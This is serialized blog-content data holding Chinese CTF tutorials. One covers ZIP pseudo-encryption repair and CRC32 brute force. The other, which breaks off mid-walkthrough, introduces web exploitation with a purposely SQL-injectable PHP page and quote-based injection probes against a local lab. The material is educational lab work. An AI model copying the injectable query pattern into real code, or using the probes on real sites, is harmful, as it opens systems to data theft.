并查看结构",[15,11938,11939,11941],{},[24,11940,162],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[102,11943,11945],{"className":431,"code":11944,"language":433,"meta":107,"style":107},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[19,11946,11947,11952,11956,11961,11966,11970,11975],{"__ignoreMap":107},[111,11948,11949],{"class":113,"line":114},[111,11950,11951],{},"import zipfile\n",[111,11953,11954],{"class":113,"line":140},[111,11955,452],{"emptyLinePlaceholder":451},[111,11957,11958],{"class":113,"line":448},[111,11959,11960],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[111,11962,11963],{"class":113,"line":455},[111,11964,11965],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[111,11967,11968],{"class":113,"line":461},[111,11969,452],{"emptyLinePlaceholder":451},[111,11971,11972],{"class":113,"line":467},[111,11973,11974],{},"data = open('flag.zip', 'rb').read()\n",[111,11976,11977],{"class":113,"line":473},[111,11978,11979],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,11981,185],{},[102,11983,11986],{"className":11984,"code":11985,"language":191,"meta":107},[189],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[19,11987,11985],{"__ignoreMap":107},[15,11989,11990],{},"解释：",[102,11992,11995],{"className":11993,"code":11994,"language":191,"meta":107},[189],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[19,11996,11994],{"__ignoreMap":107},[154,11998,12000],{"id":11999},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12002,12003,12005],{},[24,12004,292],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[102,12007,12009],{"className":431,"code":12008,"language":433,"meta":107,"style":107},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[19,12010,12011,12016,12020,12025,12030,12035,12039,12044,12049,12054,12058],{"__ignoreMap":107},[111,12012,12013],{"class":113,"line":114},[111,12014,12015],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[111,12017,12018],{"class":113,"line":140},[111,12019,452],{"emptyLinePlaceholder":451},[111,12021,12022],{"class":113,"line":448},[111,12023,12024],{},"# 本地文件头：偏移 6 处标志位置位\n",[111,12026,12027],{"class":113,"line":455},[111,12028,12029],{},"idx = data.find(b'PK\\x03\\x04')\n",[111,12031,12032],{"class":113,"line":461},[111,12033,12034],{},"data[idx + 6] |= 1\n",[111,12036,12037],{"class":113,"line":467},[111,12038,452],{"emptyLinePlaceholder":451},[111,12040,12041],{"class":113,"line":473},[111,12042,12043],{},"# 中央目录头：偏移 8 处标志位置位\n",[111,12045,12046],{"class":113,"line":479},[111,12047,12048],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[111,12050,12051],{"class":113,"line":484},[111,12052,12053],{},"data[idx2 + 8] |= 1\n",[111,12055,12056],{"class":113,"line":490},[111,12057,452],{"emptyLinePlaceholder":451},[111,12059,12060],{"class":113,"line":496},[111,12061,12062],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12064,12065],{},"修改后的 hexdump：",[102,12067,12070],{"className":12068,"code":12069,"language":191,"meta":107},[189],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[19,12071,12069],{"__ignoreMap":107},[15,12073,12074],{},"尝试读取：",[102,12076,12078],{"className":431,"code":12077,"language":433,"meta":107,"style":107},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[19,12079,12080,12084,12088,12093,12098,12103,12108],{"__ignoreMap":107},[111,12081,12082],{"class":113,"line":114},[111,12083,11951],{},[111,12085,12086],{"class":113,"line":140},[111,12087,452],{"emptyLinePlaceholder":451},[111,12089,12090],{"class":113,"line":448},[111,12091,12092],{},"try:\n",[111,12094,12095],{"class":113,"line":455},[111,12096,12097],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[111,12099,12100],{"class":113,"line":461},[111,12101,12102],{},"        print(z.read('flag.txt'))\n",[111,12104,12105],{"class":113,"line":467},[111,12106,12107],{},"except Exception as e:\n",[111,12109,12110],{"class":113,"line":473},[111,12111,12112],{},"    print(type(e).__name__, e)\n",[15,12114,185],{},[102,12116,12119],{"className":12117,"code":12118,"language":191,"meta":107},[189],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[19,12120,12118],{"__ignoreMap":107},[15,12122,12123],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[154,12125,12127],{"id":12126},"_44-修复","4.4 修复",[15,12129,12130,12132,12133,12136],{},[24,12131,292],{},"：把两处标志位最低位清零（",[19,12134,12135],{},"& 0xfe","），恢复成未加密状态。",[102,12138,12140],{"className":431,"code":12139,"language":433,"meta":107,"style":107},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[19,12141,12142,12147,12151,12155,12160,12164,12169,12173,12178,12182,12187],{"__ignoreMap":107},[111,12143,12144],{"class":113,"line":114},[111,12145,12146],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[111,12148,12149],{"class":113,"line":140},[111,12150,452],{"emptyLinePlaceholder":451},[111,12152,12153],{"class":113,"line":448},[111,12154,12029],{},[111,12156,12157],{"class":113,"line":455},[111,12158,12159],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[111,12161,12162],{"class":113,"line":461},[111,12163,12048],{},[111,12165,12166],{"class":113,"line":467},[111,12167,12168],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[111,12170,12171],{"class":113,"line":473},[111,12172,452],{"emptyLinePlaceholder":451},[111,12174,12175],{"class":113,"line":479},[111,12176,12177],{},"open('flag_fixed.zip', 'wb').write(data)\n",[111,12179,12180],{"class":113,"line":484},[111,12181,452],{"emptyLinePlaceholder":451},[111,12183,12184],{"class":113,"line":490},[111,12185,12186],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[111,12188,12189],{"class":113,"line":496},[111,12190,12191],{},"    print(z.read('flag.txt'))\n",[15,12193,185],{},[102,12195,12198],{"className":12196,"code":12197,"language":191,"meta":107},[189],"b'ctf{zip}'\n",[19,12199,12197],{"__ignoreMap":107},[15,12201,12202,12203,12206],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[19,12204,12205],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12208,12210],{"id":12209},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12212,12213,12215],{},[24,12214,162],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12217,12218,12220],{},[24,12219,292],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12222,12223],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[102,12225,12227],{"className":431,"code":12226,"language":433,"meta":107,"style":107},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[19,12228,12229,12234,12239,12243,12248,12253,12258,12263,12267,12272,12277,12282,12287,12292,12297,12302,12307,12312,12317],{"__ignoreMap":107},[111,12230,12231],{"class":113,"line":114},[111,12232,12233],{},"import zipfile, zlib, itertools\n",[111,12235,12236],{"class":113,"line":140},[111,12237,12238],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[111,12240,12241],{"class":113,"line":448},[111,12242,452],{"emptyLinePlaceholder":451},[111,12244,12245],{"class":113,"line":455},[111,12246,12247],{},"z = zipfile.ZipFile('flag.zip')\n",[111,12249,12250],{"class":113,"line":461},[111,12251,12252],{},"target = z.getinfo('flag.txt').CRC\n",[111,12254,12255],{"class":113,"line":467},[111,12256,12257],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[111,12259,12260],{"class":113,"line":473},[111,12261,12262],{},"print(\"目标 CRC:\", target)\n",[111,12264,12265],{"class":113,"line":479},[111,12266,452],{"emptyLinePlaceholder":451},[111,12268,12269],{"class":113,"line":484},[111,12270,12271],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[111,12273,12274],{"class":113,"line":490},[111,12275,12276],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[111,12278,12279],{"class":113,"line":496},[111,12280,12281],{},"for length in range(1, 5):\n",[111,12283,12284],{"class":113,"line":502},[111,12285,12286],{},"    for tup in itertools.product(charset, repeat=length):\n",[111,12288,12289],{"class":113,"line":508},[111,12290,12291],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[111,12293,12294],{"class":113,"line":514},[111,12295,12296],{},"        s = ''.join(tup).encode()\n",[111,12298,12299],{"class":113,"line":520},[111,12300,12301],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[111,12303,12304],{"class":113,"line":526},[111,12305,12306],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[111,12308,12309],{"class":113,"line":532},[111,12310,12311],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[111,12313,12314],{"class":113,"line":537},[111,12315,12316],{},"            print(\"爆破结果:\", s)\n",[111,12318,12319],{"class":113,"line":543},[111,12320,12321],{},"            exit()\n",[15,12323,12324,12325,12328],{},"实际输出（目标内容 ",[19,12326,12327],{},"ctf1","）：",[102,12330,12333],{"className":12331,"code":12332,"language":191,"meta":107},[189],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[19,12334,12332],{"__ignoreMap":107},[15,12336,12337,12338,12341,12342,12345],{},"注意 ",[19,12339,12340],{},"zlib.crc32"," 返回有符号整数，需要 ",[19,12343,12344],{},"& 0xffffffff"," 归一化。",[10,12347,863],{"id":862},[32,12349,12350,12360],{},[35,12351,12352],{},[38,12353,12354,12356,12358],{},[41,12355,872],{},[41,12357,875],{},[41,12359,878],{},[51,12361,12362,12374,12388,12401],{},[38,12363,12364,12366,12369],{},[56,12365,179],{},[56,12367,12368],{},"看类型",[56,12370,12371],{},[19,12372,12373],{},"file flag.png",[38,12375,12376,12378,12381],{},[56,12377,245],{},[56,12379,12380],{},"看文件头与结构",[56,12382,12383,918,12385],{},[19,12384,905],{},[19,12386,12387],{},"xxd flag.zip | head",[38,12389,12390,12392,12395],{},[56,12391,345],{},[56,12393,12394],{},"扫描/提取隐藏文件",[56,12396,12397,918,12399],{},[19,12398,936],{},[19,12400,939],{},[38,12402,12403,12405,12408],{},[56,12404,848],{},[56,12406,12407],{},"LSB 自动检测",[56,12409,12410],{},[19,12411,12412],{},"zsteg -a flag.png",[10,12414,12416],{"id":12415},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12418,12419,12421],{},[24,12420,162],{},"：把前三节串成一道完整题目。",[15,12423,12424,12426],{},[24,12425,292],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12428,946,12429,27],{},[19,12430,949],{},[15,12432,952],{},[102,12434,12436],{"className":104,"code":12435,"language":106,"meta":107,"style":107},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[19,12437,12438,12447,12464],{"__ignoreMap":107},[111,12439,12440,12442,12444],{"class":113,"line":114},[111,12441,179],{"class":117},[111,12443,213],{"class":121},[111,12445,12446],{"class":259},"          # PNG image data\n",[111,12448,12449,12451,12453,12455,12457,12459,12461],{"class":113,"line":140},[111,12450,296],{"class":117},[111,12452,213],{"class":121},[111,12454,316],{"class":315},[111,12456,319],{"class":117},[111,12458,322],{"class":248},[111,12460,5950],{"class":121},[111,12462,12463],{"class":259},"    # 无输出\n",[111,12465,12466,12468,12470],{"class":113,"line":448},[111,12467,345],{"class":117},[111,12469,213],{"class":121},[111,12471,12472],{"class":259},"                   # 无隐藏文件\n",[15,12474,12475],{},"第二步：怀疑 LSB，运行提取脚本：",[102,12477,12479],{"className":12478,"code":822,"language":191,"meta":107},[189],[19,12480,822],{"__ignoreMap":107},[15,12482,12483,12484,12486],{},"变体：若提取出的字节不是文本而是 ",[19,12485,96],{}," 开头，把它保存为 zip，再检查是否伪加密：",[102,12488,12490],{"className":431,"code":12489,"language":433,"meta":107,"style":107},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[19,12491,12492,12497],{"__ignoreMap":107},[111,12493,12494],{"class":113,"line":114},[111,12495,12496],{},"with open('extracted.zip', 'wb') as f:\n",[111,12498,12499],{"class":113,"line":140},[111,12500,12501],{},"    f.write(data)\n",[15,12503,12504],{},"然后按第四节流程检查并修复标志位。",[10,12506,1021],{"id":1020},[15,12508,12509,12510,12512,12513,1030,12515,12517],{},"取证主线：",[19,12511,179],{}," 确认类型 → ",[19,12514,296],{},[19,12516,345],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1035,12519,12520],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":107,"searchDepth":140,"depth":140,"links":12522},[12523,12524,12525,12526,12527,12528,12529,12530],{"id":11525,"depth":448,"text":11526},{"id":99,"depth":448,"text":100},{"id":11571,"depth":448,"text":11572},{"id":11901,"depth":448,"text":11902},{"id":12209,"depth":448,"text":12210},{"id":862,"depth":448,"text":863},{"id":12415,"depth":448,"text":12416},{"id":1020,"depth":448,"text":1021},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1051,"image":3228,"alt":12533,"tags":12534,"published":451},"隐写与取证深入实战",[1055,1056,12535,2357],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11520,"description":12531},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12541,"title":12542,"body":12543,"description":14390,"extension":1049,"meta":14391,"navigation":451,"ogImage":14392,"path":14395,"seo":14396,"stem":14397,"__hash__":14398},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12544,"toc":14378},[12545,12549,12552,12571,12577,12583,12585,12643,12653,12657,12660,12748,12751,12755,12759,12762,12765,12793,12798,12910,12913,12926,12930,12932,12946,12948,12953,12957,12965,12978,12983,12986,13016,13019,13024,13027,13030,13055,13060,13063,13088,13091,13099,13103,13108,13116,13119,13144,13147,13177,13182,13185,13210,13214,13217,13252,13256,13259,13289,13293,13296,13319,13323,13336,13346,13350,13355,13372,13376,13382,13391,13395,13411,13416,13420,13436,13438,13484,13493,13497,13500,13547,13554,13558,13561,13632,13639,13643,13648,13672,13676,13682,13715,13719,13750,13752,13758,13762,13793,13796,13800,13831,13834,13838,13863,13867,13870,13873,13887,13891,13896,13928,13937,13943,13974,13977,13981,13984,14038,14041,14045,14048,14051,14069,14071,14076,14079,14097,14102,14105,14131,14138,14142,14149,14169,14173,14178,14208,14213,14217,14226,14246,14248,14276,14279,14288,14297,14311,14315,14320,14363,14370,14372,14375],[10,12546,12548],{"id":12547},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12550,12551],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[102,12553,12555],{"className":104,"code":12554,"language":106,"meta":107,"style":107},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[19,12556,12557],{"__ignoreMap":107},[111,12558,12559,12561,12564,12566,12569],{"class":113,"line":114},[111,12560,5234],{"class":117},[111,12562,12563],{"class":248}," -v",[111,12565,5237],{"class":1431},[111,12567,12568],{"class":121},"http://127.0.0.1:8000/index.php?id=1",[111,12570,5243],{"class":1431},[15,12572,12573,12576],{},[19,12574,12575],{},"-v"," 会显示完整过程，输出示例：",[102,12578,12581],{"className":12579,"code":12580,"language":191,"meta":107},[189],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[19,12582,12580],{"__ignoreMap":107},[15,12584,11990],{},[32,12586,12587,12596],{},[35,12588,12589],{},[38,12590,12591,12594],{},[41,12592,12593],{},"部分",[41,12595,1513],{},[51,12597,12598,12615,12625,12635],{},[38,12599,12600,12605],{},[56,12601,12602],{},[19,12603,12604],{},"GET /index.php?id=1",[56,12606,12607,12608,12611,12612],{},"方法 GET，路径 ",[19,12609,12610],{},"/index.php","，参数 ",[19,12613,12614],{},"id=1",[38,12616,12617,12622],{},[56,12618,12619],{},[19,12620,12621],{},"Host",[56,12623,12624],{},"目标主机",[38,12626,12627,12632],{},[56,12628,12629],{},[19,12630,12631],{},"HTTP/1.1 200 OK",[56,12633,12634],{},"协议版本与状态码，200 表示成功",[38,12636,12637,12640],{},[56,12638,12639],{},"正文",[56,12641,12642],{},"服务器返回的 HTML",[15,12644,12645,12646,12652],{},"Web 漏洞几乎都源于一件事：",[24,12647,12648,12649,12651],{},"参数 ",[19,12650,5209],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12654,12656],{"id":12655},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12658,12659],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[102,12661,12663],{"className":104,"code":12662,"language":106,"meta":107,"style":107},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[19,12664,12665,12670,12685,12693,12699,12711,12715,12720,12731],{"__ignoreMap":107},[111,12666,12667],{"class":113,"line":114},[111,12668,12669],{"class":259},"# 方式一：源码部署（需要 PHP + MySQL）\n",[111,12671,12672,12674,12676,12679,12682],{"class":113,"line":140},[111,12673,118],{"class":117},[111,12675,122],{"class":121},[111,12677,12678],{"class":121}," php",[111,12680,12681],{"class":121}," php-mysql",[111,12683,12684],{"class":121}," mariadb-server\n",[111,12686,12687,12689,12691],{"class":113,"line":448},[111,12688,5061],{"class":117},[111,12690,5064],{"class":121},[111,12692,5067],{"class":121},[111,12694,12695,12697],{"class":113,"line":455},[111,12696,1775],{"class":1774},[111,12698,5074],{"class":121},[111,12700,12701,12703,12705,12708],{"class":113,"line":461},[111,12702,5003],{"class":117},[111,12704,5081],{"class":248},[111,12706,12707],{"class":121}," 127.0.0.1:8000",[111,12709,12710],{"class":259},"        # 启动后浏览器访问，点 Setup/reset Database\n",[111,12712,12713],{"class":113,"line":467},[111,12714,452],{"emptyLinePlaceholder":451},[111,12716,12717],{"class":113,"line":473},[111,12718,12719],{"class":259},"# 方式二：Docker 部署（最简单）\n",[111,12721,12722,12725,12728],{"class":113,"line":479},[111,12723,12724],{"class":117},"docker",[111,12726,12727],{"class":121}," pull",[111,12729,12730],{"class":121}," tavenli/sqli-labs\n",[111,12732,12733,12735,12738,12740,12743,12746],{"class":113,"line":484},[111,12734,12724],{"class":117},[111,12736,12737],{"class":121}," run",[111,12739,1389],{"class":248},[111,12741,12742],{"class":248}," -p",[111,12744,12745],{"class":121}," 8000:80",[111,12747,12730],{"class":121},[15,12749,12750],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12752,12754],{"id":12753},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[154,12756,12758],{"id":12757},"_31-平台与代码","3.1 平台与代码",[15,12760,12761],{},"平台：Linux + PHP + MySQL。",[15,12763,12764],{},"第一步，建数据库。在 MySQL 里执行：",[102,12766,12767],{"className":5028,"code":5100,"language":5030,"meta":107,"style":107},[19,12768,12769,12773,12777,12781,12785,12789],{"__ignoreMap":107},[111,12770,12771],{"class":113,"line":114},[111,12772,5107],{},[111,12774,12775],{"class":113,"line":140},[111,12776,5112],{},[111,12778,12779],{"class":113,"line":448},[111,12780,5117],{},[111,12782,12783],{"class":113,"line":455},[111,12784,5122],{},[111,12786,12787],{"class":113,"line":461},[111,12788,5127],{},[111,12790,12791],{"class":113,"line":467},[111,12792,5132],{},[15,12794,12795,12796,293],{},"第二步，写漏洞页面 ",[19,12797,5137],{},[102,12799,12801],{"className":5001,"code":12800,"language":5003,"meta":107,"style":107},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[19,12802,12803,12807,12811,12816,12821,12825,12829,12834,12839,12843,12847,12852,12857,12862,12866,12870,12875,12879,12883,12888,12893,12897,12902,12906],{"__ignoreMap":107},[111,12804,12805],{"class":113,"line":114},[111,12806,5147],{},[111,12808,12809],{"class":113,"line":140},[111,12810,5152],{},[111,12812,12813],{"class":113,"line":448},[111,12814,12815],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[111,12817,12818],{"class":113,"line":455},[111,12819,12820],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[111,12822,12823],{"class":113,"line":461},[111,12824,452],{"emptyLinePlaceholder":451},[111,12826,12827],{"class":113,"line":467},[111,12828,5010],{},[111,12830,12831],{"class":113,"line":473},[111,12832,12833],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[111,12835,12836],{"class":113,"line":479},[111,12837,12838],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[111,12840,12841],{"class":113,"line":484},[111,12842,452],{"emptyLinePlaceholder":451},[111,12844,12845],{"class":113,"line":490},[111,12846,5161],{},[111,12848,12849],{"class":113,"line":496},[111,12850,12851],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[111,12853,12854],{"class":113,"line":502},[111,12855,12856],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[111,12858,12859],{"class":113,"line":508},[111,12860,12861],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[111,12863,12864],{"class":113,"line":514},[111,12865,452],{"emptyLinePlaceholder":451},[111,12867,12868],{"class":113,"line":520},[111,12869,5166],{},[111,12871,12872],{"class":113,"line":526},[111,12873,12874],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[111,12876,12877],{"class":113,"line":532},[111,12878,452],{"emptyLinePlaceholder":451},[111,12880,12881],{"class":113,"line":537},[111,12882,5171],{},[111,12884,12885],{"class":113,"line":543},[111,12886,12887],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[111,12889,12890],{"class":113,"line":549},[111,12891,12892],{},"    // 取不到更多行时返回 null，while 结束。\n",[111,12894,12895],{"class":113,"line":555},[111,12896,5176],{},[111,12898,12899],{"class":113,"line":561},[111,12900,12901],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[111,12903,12904],{"class":113,"line":567},[111,12905,2457],{},[111,12907,12908],{"class":113,"line":573},[111,12909,5185],{},[15,12911,12912],{},"第三步，启动：",[102,12914,12916],{"className":104,"code":12915,"language":106,"meta":107,"style":107},"php -S 127.0.0.1:8000\n",[19,12917,12918],{"__ignoreMap":107},[111,12919,12920,12922,12924],{"class":113,"line":114},[111,12921,5003],{"class":117},[111,12923,5081],{"class":248},[111,12925,5084],{"class":121},[154,12927,12929],{"id":12928},"_32-正常请求","3.2 正常请求",[15,12931,1183],{},[102,12933,12934],{"className":104,"code":5227,"language":106,"meta":107,"style":107},[19,12935,12936],{"__ignoreMap":107},[111,12937,12938,12940,12942,12944],{"class":113,"line":114},[111,12939,5234],{"class":117},[111,12941,5237],{"class":1431},[111,12943,5240],{"class":121},[111,12945,5243],{"class":1431},[15,12947,351],{},[102,12949,12951],{"className":12950,"code":5249,"language":191,"meta":107},[189],[19,12952,5249],{"__ignoreMap":107},[154,12954,12956],{"id":12955},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,12958,12959,12961,12962,12964],{},[24,12960,162],{},"：确认 ",[19,12963,5209],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,12966,12967,12969,12970,12973,12974,12977],{},[24,12968,292],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[19,12971,12972],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[19,12975,12976],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,12979,12980,12982],{},[24,12981,168],{},"：逐条发送以下三个请求，对比输出。",[15,12984,12985],{},"输入 1：",[102,12987,12989],{"className":104,"code":12988,"language":106,"meta":107,"style":107},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[19,12990,12991,13001,13006,13011],{"__ignoreMap":107},[111,12992,12993,12995,12997,12999],{"class":113,"line":114},[111,12994,5234],{"class":117},[111,12996,5237],{"class":1431},[111,12998,5274],{"class":121},[111,13000,5243],{"class":1431},[111,13002,13003],{"class":113,"line":140},[111,13004,13005],{"class":259},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[111,13007,13008],{"class":113,"line":448},[111,13009,13010],{"class":259},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[111,13012,13013],{"class":113,"line":455},[111,13014,13015],{"class":259},"# 报错 = 输入确实进入了 SQL 